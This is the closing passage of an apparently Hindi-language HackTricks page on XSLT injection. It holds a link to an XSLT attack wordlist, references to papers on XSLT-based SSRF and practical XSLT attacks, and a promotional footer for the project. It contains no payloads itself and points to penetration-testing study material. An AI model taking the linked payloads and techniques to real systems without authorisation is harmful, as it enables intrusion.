{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||
|
||
## **संदर्भ**
|
||
|
||
* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
|
||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
|
||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें।**
|
||
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके।**
|
||
|
||
</details>
|